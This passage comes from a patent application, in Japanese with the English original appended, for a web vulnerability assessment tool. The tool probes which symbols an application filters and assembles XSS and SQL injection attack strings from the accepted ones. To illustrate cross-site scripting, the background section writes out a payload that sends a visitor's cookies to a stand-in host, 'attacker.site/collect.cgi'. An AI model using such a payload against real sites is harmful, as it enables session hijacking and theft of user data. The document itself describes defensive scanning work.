一実施の形態では、どのシンボルがフィルタリングされ、どれが許可されるのかを判断するプロセスは、まず、シンボルの１つ又は２つ以上を含む文字列を作成することを含む。次に、文字列は、ウェブアプリケーションへ入力として送信される。ウェブアプリケーションからの応答は、解析されて、受け付けられたシンボルがもしあれば、どのシンボルが受け付けられたかが識別される。これは、複数の文字列が作成され、ウェブアプリケーションへ送信され、解析され、そして、語彙を変更するのに使用される反復プロセスとすることができる。攻撃文字列を生成するプロセスは、語彙の生成後に動作することもできるし、語彙生成と同時に実行することもできる。たとえば、攻撃文字列が生成されて送信されるとすぐに、応答が解析されて、攻撃が実際に機能したか否かが確認される。この検証ステップによって、誤検出が削減され、また、許可された記号体系に関するフィードバックも提供される。攻撃が、許可されることが判明しているシンボルから成る場合、これらのシンボルの組み合わせが、実際にはフィルタリングされる場合がある。本発明は、この場合、これらのシンボル又はシンボルのグループに反復適用することができ、それによって、語彙を変更することができる。
【００３３】
図及び以下の説明は、本発明のさまざまな態様及び特徴を詳しく述べている。
【発明を実施するための最良の形態】
【００３４】
本発明は、知的エンジン技術の使用を用いることによって、脆弱性評価ツールに大幅な改良をもたらす。本発明は、顧客及び解析者がウェブアプリケーション評価製品を評価する方法を大幅に変更することになる技術を導入する。本発明は、静的チェックの使用を時代遅れのものとするものではないが、それでも、本発明は、ウェブアプリケーション評価製品の性能、信頼性、及び効率を改善する解決策を提供する。一般に、本発明は、知的エンジン及び静的チェックの組み合わせを利用して、徹底した効率の良いウェブアプリケーション評価製品を提供する。
【００３５】
好都合に、本発明は、セキュリティのプロが、はるかに高速に評価を完了することを可能にし、誤検出を実質的になくすことを可能にし、且つ、評価中に発見される真の脆弱性の個数を増加させることを可能にする。現時点で最新の静的チェック技術を本発明の技術と比較する良い物差しには、評価を行う時間、及び、識別される誤検出の個数が含まれる。本発明によって利用可能な改良の規模の理解を与える簡単な比較として、本発明のすべての実施形態についての完全に正確な投影というわけではないが、現在の静的チェック技術を使用すると、ＸＳＳのような脆弱性の自動化された試験は、最大で３時間を要する可能性があり、多くの誤検出を有する結果を与える。一方、現在の最先端の計算能力を与えて本発明の知的エンジン技術を使用すると、処理時間はものの数分（すなわち、１２〜１５分）に削減することができ、ほとんど誤検出は確認されない。
【００３６】
本発明は、アプリケーションの状態を解析し、次に、目標とする攻撃にその知識を使用する知的で高度なエンジンを提供することによって評価を行うための構造化された論理ベース手法を提供する。これとは対照的に、現在の静的チェック技術手法は、アプリケーションの特異性を考慮せずに、あらゆる可能な攻撃オプションを放つ。
【００３７】
本発明の実施形態は、サーバがさまざまな要求にどのように応答するかに基づいて攻撃を動的に生成するように動作する。基本的に、本発明は、ウェブアプリケーションの一般的な応答特性を識別するためにより詳細なレベルで機能することにより行われる多数のチェックをなくすように動作し、且つ、この情報に基づいて、行う必要のあるチェックの量を大幅に削減する。図３は、図２に示す静的チェック技術システムによって用いられる技法と対照的な本発明の一実施形態で用いられる技法の概念図である。
【００３８】
図４は、本発明のオペレーションの超高レベル図を示すフロー図である。本発明は、評価ツールを駆動するエンジン内で具現化することができる。このフローチャートで説明するステップは、必ずしも、本順序で行われる文字通りのステップであるとは限らない。逆に、これらのステップは、本発明のさまざまな実施形態のさまざまな方法で実施できる機能ステップである。加えて、これらの機能ステップは、反復的なものとすることができ、且つ、統合することができる。たとえば、或る機能ステップの一部を複数回繰り返すことができ、他の機能ステップで生成された結果に応答するようにすることができる。最初に、エンジンは、クロールの結果の実行若しくは受け取りを行うか、又は、他の技法を使用して、ウェブアプリケーションにより生成されたウェブページ上のどのロケーションが入力を受け付けるかを判断する（４１０）。この判断は、その入力がフレーム構造内、フォーム内、選択ボックス内等にあるか否かを識別することを含むことができる。次に、エンジンは、何がそのページ上で又は特定のデータエントリーロケーションにおいて入力として許可されるのかを判断する（４２０）。このプロセスは、異なる文字、シンボル、文字列等を、ウェブページのデータ入力へシリアルに送信すること、及び、その応答を監視することを伴う。例示的な実施形態では、これは、入力許可の範囲を明確に識別するために、開始時に用いられる基本的な初歩ステップを含んだ非常に体系的で且つ集中的な手順とすることができる。ウェブアプリケーションからの応答の監視は、Ｊａｖａ（登録商標）Ｓｃｒｉｐｔパーサの使用等のさまざまな方法で行うことができる。Ｊａｖａ（登録商標）Ｓｃｒｉｐｔパーサは、応答をパースして、脆弱性が存在するか否か、又は、どの特定の文字、シンボル、若しくは文字列が受け付けられるか若しくはフィルタリングされるかを判断するものである。本発明のこの態様の特定の一実施形態を図６に示す。入力許可及び入力フィルタが特徴付けられた後、エンジンは、次に、攻撃文字列を組み立てる（４３０）。エンジンは、これらの攻撃文字列を使用して、アプリケーションに対して攻撃をサブミットする（４４０）。最後に、エンジンは、攻撃に対する応答を解析して、攻撃が成功したか否か、または、攻撃が失敗したか否かを判断する（４５０）。攻撃が失敗した場合、本発明のさまざまな実施形態は、失敗の原因をさらに特定する動作を取ることができ、攻撃を変更する改善動作さえも取ることができる。本発明のこの態様の一実施形態の一例を図６に示す。一般的な例として、本発明は、ウェブアプリケーションが、文字「＜」及び「＞」を適切にフィルタリングするか否かを判断するように動作することができる。ウェブアプリケーションがこれらの文字をフィルタリングする場合、本発明は、これらの文字のＨＴＭＬエンティティ、すなわち１６進表現（つまり、％３Ｃ及び％３Ｅ）がフィルタリングされるか否かを判断するように動作することができる。さらに、本発明は、マークアップ言語全体又はそのサブセットを定義する一組の文字、シンボル、式等を調べて、許可された語彙対フィルタリングされた語彙を識別し、次に、この知識に基づいて攻撃文字列を組み立てる。
【００３９】
図５は、ウェブアプリケーションの入力許可を見つけて、受け付け可能な入力の語彙を生成するエンジンの例示的な一実施形態に関係したステップを示すフロー図である。本発明が利用するウェブアプリケーションの特性の１つは、ウェブサーバが、一般に、限られた一組のバックエンド処理ルーチンを使用するということである。したがって、ウェブアプリケーション上でさまざまな入力をプローブすることから受信された応答は、入力セット全体又は少なくとも入力の数グループのいずれかにわたって一貫する傾向があるであろう。関連出願のセクションで参照された米国特許出願にさらに記載されているように、バックエンド処理ルーチンに基づいて、入力を特徴付ける動作及び入力を分類する動作を取ることができる。この特性によって、エンジンは、語彙を組み立てている間、重複したプローブを削除することが可能になる。最初に、エンジンは、入力文字、入力シンボル、入力文字列等の所定のドメインにアクセスするか又はこの所定のドメインから開始する（５１０）。この所定のドメインは、入力記号体系と呼ばれる。基本的に、入力記号体系は、ターゲットウェブアプリケーションで使用されるマークアップ言語又はアサートされている特定の攻撃技法に含まれるすべての構成体、コマンド、シンボル、指令、属性、及びキーワードから成る。たとえば、記号体系は、ＨＴＭＬ、ＸＭＬ等の間で異なる場合がある。さらに、ＳＱＬインジェクションの場合、記号体系はＳＱＬ構成体を含み、ＬＤＡＰはＬＤＡＰ構成体等を使用するであろう。本発明は、ＨＴＭＬ構成体から成る記号体系等の単一の記号体系に的を絞った一実施形態に組み込まれて単一の共通語彙を生成することもできるし、複数の記号体系を組み合わせた一実施形態に組み込まれて個別の語彙を生成することもできることが、十分理解されるべきである。次に、入力記号体系の各メンバーについてのループ、又は、入力記号体系のメンバーのサブセットについてのループに入る（５１２）。このループは、記号体系全体が利用されるか、又は、記号体系の識別され若しくは選択されたサブセットが利用されるまで実行され、一実施形態及び別の実施形態では、停止する時を識別する制限を課すことができる。たとえば、語彙が、攻撃を組み立てて開始するのに必要な要素のすべてを含むポイントまで成長した場合、ループを早期に終了することができる。さらに、ループを攻撃プロセスと並列に又は攻撃プロセスと共に実行することもできる。
【００４０】
記号体系のメンバーの１つ又は２つ以上を使用して、プローブが形成（formulate）され、ウェブアプリケーションへ送信される（５１４）。このプローブは、さまざまなフォーマットを取ることができ、本発明は、どの特定のフォーマットにも限定されるものではない。次に、プローブに対するウェブアプリケーションの応答が受信される（５１６）。この応答は、もしあれば、記号体系のどのメンバーがウェブサーバによってフィルタリングされ、この入力についてどれが許可されたかを判断するために解析される（５１８）。次に、受け付けられた記号体系のメンバーが、語彙に入力される（５２０）。次に、処理は、ループの最上部に戻り（５１２）、記号体系の次の１つまたは２つ以上のメンバーを扱う。プローブは、記号体系のいくつかのメンバーの文字列を含みうることが十分理解されるべきである。文字列全体が受け付けられる場合、記号体系のそれらのメンバーのそれぞれは、語彙内に置かれる。例示的な一実施形態では、文字列に含まれた個々のシンボルは語彙に個々のエントリーとして入力されうる。別の実施形態では、シンボルの文字列全体が語彙に入力されうる。文字列全体が拒否された場合、「分割統治（divide and conquer）」検索アルゴリズムを使用して、文字列メンバーのいくつかのより小さなグループを送信し、何が拒否されて、何が許可されたかを判断することができる。それに失敗すると、文字列の各メンバーが個別に送信されうる。この実施形態の一例を図６及び図６に関連した説明と共に提供する。代替的な一アルゴリズムは、拒否されたあらゆる文字列の個々の文字列メンバーの送信、又は、語彙にすでに含まれていない個々の文字列メンバーの送信に戻ることができる。語彙を識別するための開示された方法は、それ自体独立で新規と考えることができるが、本発明は、どの特定の技法にも限定されるものでないことが当業者には十分理解されよう。逆に、本発明は、プローブの送信と応答の解析とを通じて語彙を特定するためのさまざまな技法のいずれも利用することができる。
【００４１】
図６は、本発明の例示的な一実施形態に関係したステップを示すフロー図である。図示したフローチャートは、単に、本発明を実施する一方法であり、この実施形態で説明される特定の特徴及び態様は、例示的なためであって、限定ではないことが十分理解されるべきである。一方、図示した実施形態も、それ自体単独で新規であると考えられることも十分理解されるべきである。この実施形態は、並列に実行できる２つのプロセスとして示されている。第１のプロセスは語彙ビルダ６００であり、第２のプロセスは攻撃者６５０である。説明するように、語彙ビルダ６００は、シンボル若しくはシンボルセットの記号体系又はドメインを扱う。語彙ビルダは、許可されたシンボル又はシンボルセットで語彙を組み立てることができるだけでなく、このドメインを追加又は増大させることもできる。攻撃者６５０は、その語彙を監視して、攻撃を作成できるか否か及びいつ攻撃を作成できるかを判断し、次に、攻撃の結果に応じて、シンボル又はシンボルセットのドメインを増大させる。
【００４２】
より具体的には、語彙ビルダ６００は、シンボルのプール（ドメイン）にアクセスして、シンボル又はシンボルセットを取得する（６０４）。シンボルは、エンジンが探している脆弱性に基づいてプールから選択されうる（すなわち、ＸＳＳの場合にはＨＴＭＬシンボル、ＳＱＬインジェクションの場合にはＳＱＬキーワード、ＸＰａｔｈの場合にはＸＭＬアイテム等）。代替的に、シンボルを単に語彙ビルダにキュー形式で供給し、ヒューリスティックに基づいて又は他の技法を使用して選択することもできる。用いられる技法にかかわらず、シンボル又はシンボルセットは、ウェブアプリケーションへ送信されるプローブを生成するのに使用されるか、又は、そのプローブに組み込まれる（６０８）。次に、そのプローブに対するウェブアプリケーションの応答が解析される（６１２）。プローブ全体が拒否された場合（６１６）、プローブ内のシンボルは、シンボルプールに再挿入することができる（６２０）。この再挿入は、シンボルのそれぞれを個々に分離することによって行われうるし、いくつかのシンボルセットは、拒否されたシンボルのリストから作成されうる。加えて、再帰的プロセスを用いて、シンボルセットを徐々に体系的に分解し、ステップ６０４から開始してシンボルセットを再サブミットし、拒否の原因を特定することができる。
【００４３】
プローブ全体が拒否されていない場合（６１６）、プローブ内のシンボルのいくつかを許可されたシンボルとして識別できる一方、それ以外を、ウェブアプリケーションによってフィルタリング又は拒否されたものと判断することができる。許可されたシンボルとして識別されているシンボルのそれぞれは、語彙に追加される（６２４）。拒否されたものとして識別されているシンボルについて、それらのシンボルは、個別に若しくはセットとして、又はそれらの双方の組み合わせとしてプールに再入力される。次に、処理は、ステップ６０４において、検査される次のシンボル（複数可）の取得を続ける。このプロセスは、プール全体が使い尽くされるまで、若しくは、別のプロセスがこのプロセスをサスペンドするまで続けることができるか、又は永久に続けて、プールが空になった場合にアイドルモードに単に入り、その後、プールに新たなエントリーが入るのを単に待機することができる。
【００４４】
攻撃者６５０は、最初に、語彙ビルダ６００が、エントリーが語彙内に置かれるのを待っていることを監視する。したがって、攻撃者６５０は、語彙にアクセスし（６５４）、エントリーが攻撃を作成するのに十分でない場合（６５８）、攻撃者６５０は、基本的にはループを実行する。十分なエントリーが利用可能になると（６５８）、攻撃文字列が、受け付け可能な入力の語彙から組み立てられる（６６２）。この語彙は、いくつかのマークアップ言語構成体、コード、及び言語要素を含むことができる。エンジンは、所望の攻撃を識別することができ、次に、語彙のエントリーを検査して、どの攻撃がサポートされているかを判断することができる。本発明のこの態様は、さまざまな方法で実施できることが理解されるべきである。たとえば、一実施形態では、攻撃とシグネチャとに関する辞書をエンジンに知らせることもできるし、エンジンへアクセス可能にすることもできる。この辞書は、単に、さまざまなキーワードによって検索又はインデックスされうる攻撃の静的データベースとすることができる。この辞書を使用して、エンジンは、語彙によってサポートされる攻撃及びシグネチャを識別することができる。非限定的な一例として、「image」及び「onload」のＨＴＭＬキーワードが語彙にある場合、エンジンは、これらのキーワードを含む攻撃文字列のすべてを取り出すことができる。次に、エンジンは、ウェブアプリケーションに対するこれらの攻撃文字列を送信することができる。
【００４５】
代替的に、語彙が識別されると、又は、語彙が生成されている間に、エンジンは、実際に攻撃を急いでで組み立てることもできる。攻撃文字列は、総当り、修正総当り（modified brute force）を含むさまざまな方法で、又は、ヒューリスティックの適用を通じて、語彙から生成されうる。総当りの適用では、語彙の要素が簡単に検査され、各要素及び要素の可能な組み合わせを選択して、それらの要素及び組み合わせでウェブアプリケーションをプローブすることに基づいて、文字列が生成される。この手法は、多くの偽の役に立たない文字列が生成される場合があり、語彙が大きい場合には、組み合わせの個数及びその組み合わせでウェブアプリケーションを試験する時間がかなり大きくなる場合があるという点で理想的ではない。一方、修正総当り法は、言語ロジック及び言語構成体の使用を用いて、文字列を生成する。したがって、有効な言語プローブのみを生成する方法で、語彙に存在するさまざまな言語要素を識別して、文字列生成のプロセスに適用することができる。最後に、攻撃文字列を生成しようとする際に、一組のヒューリスティック又は他のアルゴリズム手順をライブラリに適用することができる。たとえば、ウェブアプリケーションに課される一般的なタイプの攻撃を定義することにより、語彙を検索して、それらの攻撃用の攻撃文字列を作成するのに必要な組み立てブロックを識別することができる。当業者は、ウェブアプリケーションに対して使用できるこれらのタイプの攻撃、及び、識別された語彙が与えられた場合にこのような攻撃文字列ジェネレータを組み立てる方法に精通しているだろう。これらのタイプの攻撃には、ＸＳＳ、ＳＱＬインジェクション、及びＤＯＭタイプのＸＳＳ攻撃が含まれるが、これらに限定されるものではない。
【００４６】
本発明の別の実施形態では、語彙を組み立てて攻撃文字列を生成するプロセスは、統合されたプロセスである。たとえば、エンジンは、１つ又は２つ以上の言語キーワードを含む攻撃文字列又は許可／フィルタリングされた語彙に単に準拠する攻撃文字列を送信することによって開始することができる（６６４）。次に、攻撃文字列に対する応答が解析されて（６６８）、攻撃が機能したか否かが調べられる。攻撃が失敗した場合（６７３）、攻撃者は、語彙ビルダプロセス６００を通じてフィードバックできる新たなシンボルセットを生成することができ、ステップ６５４に戻って、次の攻撃を行うことができる。一方、他の実施形態では、解析プロセスは、かなり入り組んでいる場合があり、複数の且つ異なる攻撃要求を送信すること、及び、複数の応答を解析／比較することを含む場合がある。本発明のこの態様は、誤検出の発生を大幅に削減する。攻撃文字列が拒否された場合、エンジンは、言語キーワードの１つ又は２つ以上を変更した異なる試験文字列を生成することができる。この文字列が成功した場合、それらの２つの文字列を比較することによって、許可された語彙の一部を識別することができる。同様に、文字列は、ウェブアプリケーションの脆弱性を識別する結果になっている場合もある。したがって、エンジンは、（ａ）脆弱性についてウェブアプリケーションをプローブし、（ｂ）試験文字列を生成し、（ｃ）許可語彙を増大させ、そして、（ｄ）情報をすべて同時にシンボルプール内にフィードバックする、統合された方法で機能している。一方、この第２の文字列も拒否された場合、エンジンは、これらの２つの文字列を比較して、フィルタリングされた可能性のあるキーワードを識別し、新たな文字列を形成し、そして、文字列が受け付けられるまで又は記号体系全体が使い尽くされるまでこのサイクルを繰り返すことができる。これに代えて又はこれに加えて、前述したように、文字列が拒否されると、エンジンは、要素ごとの解析に入ることができる。この要素ごとの解析では、文字列の各要素がウェブアプリケーションへ個別に送信されて、その要素が受け付けられるのか、それともフィルタリングされるのかが判断される。次に、処理は、許可された語彙及び記号体系の残りの要素に基づいて攻撃文字列の形成を続けることができる。
【００４７】
この説明で提供された実施形態及び具体例は、非限定的な例として提供されたものであり、したがって、たとえそれらが個々に新規であると考えることができても、本発明の唯一の新規な実施態様又は構成とみなされるべきではないことが十分理解されるべきである。説明した実施形態は、異なる特徴を含み、それらの特徴のすべてが、本発明のすべての実施形態で必要とされるとは限らない。本発明のいくつかの実施形態は、これらの特徴又はこれらの特徴の可能な組み合わせの一部しか利用しない。当業者は、説明した本発明の実施形態の変形形態と説明した実施形態で言及された特徴の異なる組み合わせを含む本発明の実施形態とが思いつくであろう。本発明の範囲は、添付の特許請求の範囲によってのみ限定される。
【図面の簡単な説明】
【００４８】
【図１】評価ツールの一般的構造のシステム図である。
【図２】クロスサイトスクリプティングのインスタンスを探し出している時に、従来のウェブアプリケーションスキャン脆弱性評価がどのように行われるかを示す概念図である。
【図３】図２に示す静的チェック技術システムによって用いられる技法と対照的な本発明の一実施形態で用いられる技法の概念図である。
【図４】本発明のオペレーションの超高レベル図を示すフロー図である。
【図５】ウェブアプリケーションの入力許可を見つけて、受け付け可能な入力の語彙を生成するエンジンの例示的な一実施形態に関係したステップを示すフロー図である。
【図６】受け付け可能入力の語彙から攻撃文字列を組み立てるエンジンの例示的な一実施形態に関係したステップを示すフロー図である。
【符号の説明】
【００４９】
１００  ウェブ評価インターフェース
１２０  インターネット
１３０  ソフトウェアエージェント
１４０  評価データ
１５０  報告インターフェース
【図１】
2008135029.tif 000003
【図２】
2008135029.tif 000004
【図３】
2008135029.tif 000005
【図４】
2008135029.tif 000006
【図５】
2008135029.tif 000007
【図６】
2008135029.tif 000008
【外国語明細書】
WEB APPLICATION ASSESSMENT BASED ON INTELLIGENT GENERATION OF ATTACK STRINGS
RELATED APPLICATIONS
[0001] This application is related to and incorporates by reference, the United States Patent Application entitled CHARACTERIZATION OF WEB APPLICATION INPUTS, filed on November 17, 2006, assigned serial number 11/560,984 and identified by attorney docket number 19006.1090 and the United States Patent Application entitled IMPROVED WEB APPLICATION AUDITING BASED ON SUB-APPLICATION IDENTIFICATION, filed on November 17, 2006, assigned serial number 11/560,929 and identified by attorney docket number 19006.1070, both of which are commonly assigned to the same entity.  
BACKGROUND OF THE INVENTION
[0002] The present invention relates to the field of web site analysis and, more specifically, to a web site analysis tool that improves the speed and performance of assessing a site by dynamically generating attack strings based on some of the characteristics of operation of the web site.    
[0003] The free exchange of information facilitated by personal computers surfing over the Internet has spawned a variety of risks for the organizations that host that information and likewise, for those who own the information.  This threat is most prevalent in interactive applications hosted on the World Wide Web and accessible by almost any personal computer located anywhere in the world.  Web applications can take many forms: an informational Web site, an intranet, an extranet, an e-commerce Web site, an exchange, a search engine, a transaction engine, or an e-business.  These applications are typically linked to computer systems that contain weaknesses that can pose risks to a company.  Weaknesses can exist in system architecture, system configuration, application design, implementation configuration, and operations.  The risks include the possibility of incorrect calculations, damaged hardware and software, data accessed by unauthorized users, data theft or loss, misuse of the system, and disrupted business operations.
[0004] As the digital enterprise embraces the benefits of e-business, the use of Web- based technology will continue to grow.  Corporations today use the Web as a way to manage their customer relationships, enhance their supply chain operations, expand into new markets, and deploy new products and services to customers and employees.  However, successfully implementing the powerful benefits of Web-based technologies can be greatly impeded without a consistent approach to Web application security.
[0005] It may surprise industry outsiders to learn that hackers routinely attack almost every commercial Web site, from large consumer e-commerce sites and portals to government agencies such as NASA and the CIA.  In the past, the majority of security breaches occurred at the network layer of corporate systems.  Today, however, hackers are manipulating Web applications inside the corporate firewall, enabling them to access and sabotage corporate and customer data.  Given even a tiny hole in a company's Web-application code, an experienced intruder armed with only a Web browser (and a little determination) can break into most commercial Web sites.  
[0006] The problem is much greater than industry watchdogs realize.  Many U.S. businesses do not even monitor online activities at the Web application level.  This lack of security permits even attempted attacks to go unnoticed.  It puts the company in a reactive security posture, in which nothing gets fixed until after the situation occurs.  Reactive security could mean sacrificing sensitive data as a catalyst for policy change. 
[0007] A new level of security breach has begun to occur through continuously open Internet ports (port 80 for general Web traffic and port 443 for encrypted traffic).  Because these ports are open to all incoming Internet traffic from the outside, they are gateways through which hackers can access secure files and proprietary corporate and customer data.  While rogue hackers make the news, there exists a much more likely threat in the form of online theft, terrorism, and espionage.
[0008] Today the hackers are one step ahead of the enterprise.  While corporations rush to develop their security policies and implement even a basic security foundation, the professional hacker continues to find new ways to attack.  Most hackers are using "out-of-the-box" security holes to gain escalated privileges or execute commands on a company's server.  Simply incorrectly configuring off-the-shelf Web applications leave gaping security vulnerabilities in an unsuspecting company's Web site.  
[0009] Passwords, SSL and data-encryption, firewalls, and standard scanning programs may not be enough.  Passwords can be cracked.  Most encryption protects only data transmission; however, the majority of Web application data is stored in a readable form.  Firewalls have openings.  Scanning programs generally check networks for known vulnerabilities on standard servers and applications, not proprietary applications and custom Web pages and scripts.
[0010] Programmers typically don't develop Web applications with security in mind.  What's more, most companies continue to outsource the majority of their Web site or Web application development using third-party development resources.  Whether these development groups are individuals or consultancies, the fact is that most programmers are focused on the "feature and function" side of the development plan and assume that security is embedded into the coding practices.  However, these third-party development resources typically do not have even core security expertise.  They also have certain objectives, such as rapid development schedules, that do not lend themselves to the security scrutiny required to implement a "safe solution."
[0011] Manipulating a Web application is simple.  It is often relatively easy for a hacker to find and change hidden form fields that indicate a product price.  Using a similar technique, a hacker can also change the parameters of a Common Gateway Interface (CGI) script to search for a password file instead of a product price.  If some components of a Web application are not integrated and configured correctly, such as search functionality, the site could be subject to buffer-overflow attacks that could grant a hacker access to administrative pages.  Today's Web-application coding practices largely ignore some of the most basic security measures required to keep a company and its data safe from unauthorized access.  
[0012] Developers and security professionals must be able to detect holes in both standard and proprietary applications.  They can then evaluate the severity of the security holes and propose prioritized solutions, enabling an organization to protect existing applications and implement new software quickly.  A typical process involves evaluating all applications on Web-connected devices, examining each line of application logic for existing and potential security vulnerabilities. 
[0013] A Web application attack typically involves five phases: port scans for default pages, information gathering about server type and application logic, systematic testing of application functions, planning the attack, and launching the attack.  The results of the attack could be lost data, content manipulation, or even theft and loss of customers.
[0014] A hacker can employ numerous techniques to exploit a Web application.  Some examples include parameter manipulation, forced parameters, cookie tampering, common file queries, use of known exploits, directory enumeration, Web server testing, link traversal, path truncation, session hijacking, hidden Web paths, Java applet reverse engineering, backup checking, extension checking, parameter passing, cross-site scripting, and SQL injection.
[0015] Assessment tools provide a detailed analysis of Web application and site vulnerabilities.  FIG. 1 is a system diagram of a typical structure for an assessment tool.  Through the Web Assessment Interface 100, the user designates which application, site or Web service resident on a web server or destination system 110 available over network 120 to analyze.  The user selects the type of assessment, which policy to use, enters the URL, and then starts the process. 
[0016] The assessment tool uses software agents 130 to conduct the vulnerability assessment.  The software agents 130 are composed of sophisticated sets of heuristics that enable the tool to apply intelligent application-level vulnerability checks and to accurately identify security issues while minimizing false positives.  The tool begins the crawl phase of the application using software agents to dynamically catalog all areas.  As these agents complete their assessment, findings are reported back to the main security engine through assessment database 140 so that the results can be analyzed.  The tool then enters an audit phase by launching other software agents that evaluate the gathered information and apply attack algorithms to determine the presence and severity of vulnerabilities.  The tool then correlates the results and presents them in an easy to understand format to the reporting interface 150.
[0017] One of the popular attacks on web applications is called cross site scripting or XSS.  XSS is a technique that is used against a web application to gather personal or malicious information about a user of the web application and is one of the most common application level attacks that hackers use to break into a web application.  XSS is a three party attack that involves the attacker, as well as the web application and a user.    
[0018] The basic door through which an XSS attack enters is a vulnerable script that exists on the vulnerable site.  The vulnerable script operates to receive an HTTP request and then echoes it back to the page sending the request.  The echo of the HTTP request may be a full echo or a partial echo, but in either case, the vulnerability exists because the script does not first sanitize the content of the HTTP request prior to echoing it back.  As such, if the HTTP request contains malicious objects, such as JavaScript code or HTML tags, these objects can be acted upon by the receiving browser and cause damage or breach the user's privacy.  
[0019] Those skilled in the art will be familiar with the various techniques and vulnerabilities that can be exploited using XSS but, for purposes of clarity a specific example of an XSS attack is presented.  Many websites include a welcome page that is presented after logging into the website or upon accessing the website.  The welcome script (i.e, welcome.cgi) generally accepts a parameter [name] and when executed, provides a welcome message to the user.  A request sent to the web application generally is structured as:
GET /welcome.cgi?name=WORLD HTTP/1.0
host: www.targetwebsite.com
[0020] Upon receiving the request, the web application at www.targetwebsite.com responds with the following response:
<HTML>
<Title>Welcome to the TargetWebSite</Title>
HELLO WORLD
<BR>
...
</HTML>
[0021] To exploit this capability using an XSS attack, a hacker will place a specially structured link at a convenient location for a user to activate.  Such placement may include within an email message, or at a web site that is accessed from an email message or potentially browsed by the user.  In essence, the link replaces the parameter value for name, with a JavaScript that once echoed to the user's browser will be executed.  Generally, the JavaScript is used to access cookies that the client browser has previously created and that are associated with the target web site.  Because the security model from JavaScript allows scripts arriving from a particular site to access cookies belonging to that site, and because the browser simply experiences the JavaScript coming from the target web site, the cookies are laid vulnerable to this attack.   The specially structured link may look like this:
http://www.target.site/welcome.cgi?name=<script>window.open("http://www.attacker.site/collect.cgi?cookie="%2Bdocument.cookie)</script>
[0022] When the user activates the malicious link, the browser generates the following request:
GET /welcome.cgi?name=<script>window.open("http://www.attacker.site/collect.cgi?cookie="%2Bdocument.cookie)</script> HTTP/1.0
Host: www.target.site
[0023] In response to this request, the target web site provides the following response:
<HTML>
<Title>Welcome to the TargetWebSite</Title>
Hello <script>window.open("http://www.attacker.site/collect.cgi?cookie="+document.cookie)</script>
<BR>
...
</HTML>
[0024] The user's browser receives this response and interprets the response as an HTML page containing a piece of JavaScript code.  The browser then willingly executes the JavaScript code which then allows access to all cookies belonging to or associated with the target web site and then sends them to an attacker's web site by invoking a script on the attacker's web site - collect.cgi that accepts the cookies as a parameter.  
[0025] Thus, a hacker can inject JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable web application to victimize a user and obtain information from the user.  This information can result in account hijacking, changing of user settings, cookie theft/poisoning, or false advertising.  Hackers are creating new methods to conduct XSS attacks on a daily basis.  
[0026] For the most part, using a vulnerability database with static checks has been a successful approach. Today's web application and web services assessment products boast thousands of static checks for security vulnerabilities like XSS and SQL Injection.  The web application assessment software vendors have essentially been striving to create and market the best vulnerability database with the most checks.  However, as web applications and their functionalities have grown in scale and complexity, there has been a consequent rise in problems with standard web application scanning methodology.  At the rate the industry is currently going with the growing number of checks, vulnerability databases will have tens of thousands of static checks in a few years.  With that many checks, the time required to run application scans will be quite extensive, as the scan time for an application scales linearly with each additional check in the vulnerability database. Thus there is a need in the art and related industry for a new technology that will greatly decrease the amount of time required for identifying such vulnerabilities without compromising the effectiveness of the vulnerability assessment tools.  FIG. 2 is a conceptual diagram of how a traditional web application scanning vulnerability assessment would be conducted when seeking an instance of cross-site scripting.  The same attacks are repeatedly submitted against all avenues of inputs that were discovered during a "crawl" of the application to see if a dialog box can be opened, indicating that the application is indeed susceptible to cross-site scripting.  Even if the web application filters a potentially malicious character such as ">", multiple attacks that include that character will still be submitted.  Thus, there are several problems with current state-of-the-art vulnerability assessment tools thereby creating a need in the art for an improved methodology.  
[0027] One of the needs or problems that exist in the art is that the traditional approach of using static checks lacks the application of "intelligence" in solving the problem.  The standard "bulk" approach in assessment tools is very limiting in that it applies an "all or nothing" methodology that doesn't utilize any intelligence or logic other than yes or no and the sheer number of vulnerability signatures being submitted.  Another problem that exists in the state of the art is that assessments take too long.  As previously mentioned, the number of potential vulnerabilities and their variants is constantly growing.  To handle this situation, longer lists of static checks, each of which must be submitted against an application, means slower scanning times.  It takes a large database of static checks just to ensure the accuracy of a scan.  Yet another problem in the current art is that a high number of false positives are generated using current technologies.  As web vulnerabilities and technologies change with time, it is difficult for checks to stay accurate.  Vulnerability signatures are "hard coded" and static, and heavily technology dependent.  In essence, they cannot be dynamic or intelligent about what the server is responding with.  This can lead to a high number of "false positives" when an automated assessment tool flags a vulnerability that in actuality, does not exist.  Each false positive has to be manually verified - a time intensive task.
[0028] Thus, there is a need in the art for a method and system for conducting vulnerability assessments that do not only rely on a static approach to performing the assessment, but that can actually apply intelligence in performing the assessment.  Such a solution should allow for a reduction in the number of checks that must be performed in conducting an assessment, improve the performance or reduce the time required to perform an assessment, and help to reduce the occurrence of false positives.  Thus, there is a need in the art for web site and web applications assessment tool that can tackle the ever increasing complexities of analyzing web sites and web applications in a manner that is accurate, but that is quicker and more efficient than today's technology.  The present invention as described herein provides such a solution.  
BRIEF SUMMARY OF THE INVENTION
[0029] The present invention, although comprising various features and aspects, in general is directed towards a technique to evaluate a web application or assess a web application to determine if the web application has any vulnerabilities.  As described in the background section, a very common attack that is launched against web applications and web sites is the use of XSS attacks.  These attacks are relatively easy to launch and many websites and web applications have proven to be quite vulnerable to these types of attacks.  Assessing a web site or web application to identify vulnerabilities to such attacks is a very necessary process, but quite time consuming.  The present invention enables such an assessment of the web application to be performed in a manner that greatly improves the efficiency and effectiveness of the web assessment tool.  One aspect of the present invention is to probe the inputs of a web application to determine what markup language constructs are filtered by the web application.  The present invention takes advantage of the fact that a web server is generally going to be consistent across the web application and as such, if certain constructs or language components are filtered by one input of the web application, these same constructs or components will be filtered by similar inputs of the web application.  In addition, rather than exhaustively firing static attack strings at a web application input, the present invention determines when a string is rejected, why it is rejected and then modifies its approach in the assessment.  This modification to the assessment basically consists of omitting further attacks that are certain to be rejected based on previously monitored characteristics of the web application.  
[0030]   Thus, in general, an embodiment of the present invention operates to assess the vulnerabilities of a markup language based web application by first probing the web application to identify the symbols that are not filtered by the web server and then constructing attack strings based on the results of the probing step.  
